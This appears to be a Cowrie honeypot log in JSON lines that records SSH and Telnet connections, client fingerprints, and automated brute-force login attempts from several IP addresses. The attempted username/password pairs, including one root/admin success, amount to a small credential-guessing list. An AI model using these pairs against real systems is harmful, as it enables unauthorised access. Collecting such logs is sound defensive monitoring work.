{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:07.685976Z","src_ip":"120.48.55.108","session":"bceb2d4066a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:08.655545Z","src_ip":"120.48.55.108","session":"bceb2d4066a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52614,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc0ebcdb2c9c","protocol":"telnet","message":"New connection: 135.148.14.151:52614 (159.203.135.109:23) [session: bc0ebcdb2c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:09.822536Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:09.952564Z","src_ip":"120.48.55.108","session":"bceb2d4066a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.55.108","src_port":56668,"dst_ip":"10.17.0.5","dst_port":22,"session":"83b1173bdde3","protocol":"ssh","message":"New connection: 120.48.55.108:56668 (10.17.0.5:22) [session: 83b1173bdde3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:10.742101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:10.769957Z","src_ip":"120.48.55.108","session":"83b1173bdde3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:11.323414Z","src_ip":"120.48.55.108","session":"83b1173bdde3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:12.528705Z","src_ip":"120.48.55.108","session":"83b1173bdde3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:13.794417Z","src_ip":"120.48.55.108","session":"83b1173bdde3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.55.108","src_port":32904,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac5ea6ded913","protocol":"ssh","message":"New connection: 120.48.55.108:32904 (10.17.0.5:22) [session: ac5ea6ded913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:15.052831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:15.057980Z","src_ip":"120.48.55.108","session":"ac5ea6ded913","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:15.321034Z","src_ip":"120.48.55.108","session":"ac5ea6ded913","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:16.605443Z","src_ip":"120.48.55.108","session":"ac5ea6ded913","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:17.851547Z","src_ip":"120.48.55.108","session":"ac5ea6ded913","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.55.108","src_port":36570,"dst_ip":"10.17.0.5","dst_port":22,"session":"81fd083373c0","protocol":"ssh","message":"New connection: 120.48.55.108:36570 (10.17.0.5:22) [session: 81fd083373c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:18.085801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:18.090808Z","src_ip":"120.48.55.108","session":"81fd083373c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:18.331115Z","src_ip":"120.48.55.108","session":"81fd083373c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:19.021526Z","src_ip":"120.48.55.108","session":"81fd083373c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.09961295127869,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:20.128949Z","src_ip":"135.148.14.151","session":"0001536c5ef6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:20.272790Z","src_ip":"120.48.55.108","session":"81fd083373c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.55.108","src_port":38632,"dst_ip":"10.17.0.5","dst_port":22,"session":"768545704859","protocol":"ssh","message":"New connection: 120.48.55.108:38632 (10.17.0.5:22) [session: 768545704859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:22.623601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:22.628397Z","src_ip":"120.48.55.108","session":"768545704859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:22.872231Z","src_ip":"120.48.55.108","session":"768545704859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.878820180892944,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:23.588870Z","src_ip":"135.148.14.151","session":"def286b19c00","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:25.756702Z","src_ip":"120.48.55.108","session":"768545704859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37924,"dst_ip":"159.203.135.109","dst_port":23,"session":"295b3b181684","protocol":"telnet","message":"New connection: 135.148.14.151:37924 (159.203.135.109:23) [session: 295b3b181684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:42.362954Z"}
{"eventid":"cowrie.session.closed","duration":35.11908769607544,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:44.941503Z","src_ip":"135.148.14.151","session":"bc0ebcdb2c9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41114,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a50251e875c","protocol":"telnet","message":"New connection: 135.148.14.151:41114 (159.203.135.109:23) [session: 2a50251e875c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:46.622637Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.120","src_port":55834,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cecfa706b62","protocol":"ssh","message":"New connection: 198.235.24.120:55834 (159.203.135.109:22) [session: 2cecfa706b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:50.920525Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:51.242681Z","src_ip":"198.235.24.120","session":"2cecfa706b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44462,"dst_ip":"159.203.135.109","dst_port":23,"session":"9807d9139074","protocol":"telnet","message":"New connection: 135.148.14.151:44462 (159.203.135.109:23) [session: 9807d9139074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:43:54.256885Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":38844,"dst_ip":"159.203.135.109","dst_port":22,"session":"1df3e2e963c6","protocol":"ssh","message":"New connection: 45.147.249.81:38844 (159.203.135.109:22) [session: 1df3e2e963c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:02.088073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:02.093832Z","src_ip":"45.147.249.81","session":"1df3e2e963c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:02.166870Z","src_ip":"45.147.249.81","session":"1df3e2e963c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marketing","password":"marketing123","message":"login attempt [marketing/marketing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:02.489974Z","src_ip":"45.147.249.81","session":"1df3e2e963c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:03.566138Z","src_ip":"45.147.249.81","session":"1df3e2e963c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.36629939079285,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:16.729120Z","src_ip":"135.148.14.151","session":"295b3b181684","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.80.232.39","src_port":47496,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c08453ba132","protocol":"ssh","message":"New connection: 117.80.232.39:47496 (10.17.0.5:22) [session: 8c08453ba132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:18.496046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:18.501630Z","src_ip":"117.80.232.39","session":"8c08453ba132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:18.723809Z","src_ip":"117.80.232.39","session":"8c08453ba132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123456","message":"login attempt [root/qwe@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:19.684366Z","src_ip":"117.80.232.39","session":"8c08453ba132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.55294179916382,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:23.175467Z","src_ip":"135.148.14.151","session":"2a50251e875c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.62.77","src_port":44232,"dst_ip":"10.17.0.5","dst_port":23,"session":"e469539c6abb","protocol":"telnet","message":"New connection: 45.43.62.77:44232 (10.17.0.5:23) [session: e469539c6abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:27.467822Z"}
{"eventid":"cowrie.session.closed","duration":0.005192756652832031,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:27.472895Z","src_ip":"45.43.62.77","session":"e469539c6abb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.62.77","src_port":44244,"dst_ip":"10.17.0.5","dst_port":23,"session":"0428e189bee5","protocol":"telnet","message":"New connection: 45.43.62.77:44244 (10.17.0.5:23) [session: 0428e189bee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:27.655958Z"}
{"eventid":"cowrie.session.closed","duration":33.813626289367676,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:28.070387Z","src_ip":"135.148.14.151","session":"9807d9139074","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33382,"dst_ip":"159.203.135.109","dst_port":23,"session":"20bf7deefd03","protocol":"telnet","message":"New connection: 135.148.14.151:33382 (159.203.135.109:23) [session: 20bf7deefd03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:34.486201Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38304,"dst_ip":"159.203.135.109","dst_port":23,"session":"b081ba213dec","protocol":"telnet","message":"New connection: 135.148.14.151:38304 (159.203.135.109:23) [session: b081ba213dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:45.623472Z"}
{"eventid":"cowrie.session.closed","duration":18.09663724899292,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:45.752511Z","src_ip":"45.43.62.77","session":"0428e189bee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.62.77","src_port":34070,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ff112f86197","protocol":"telnet","message":"New connection: 45.43.62.77:34070 (10.17.0.5:23) [session: 4ff112f86197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:45.850189Z"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:45.856358Z","src_ip":"45.43.62.77","session":"4ff112f86197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":62536,"dst_ip":"10.17.0.5","dst_port":22,"session":"8520635bf732","protocol":"ssh","message":"New connection: 87.251.64.176:62536 (10.17.0.5:22) [session: 8520635bf732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:46.097835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:44:46.102888Z","src_ip":"87.251.64.176","session":"8520635bf732","protocol":"ssh"}
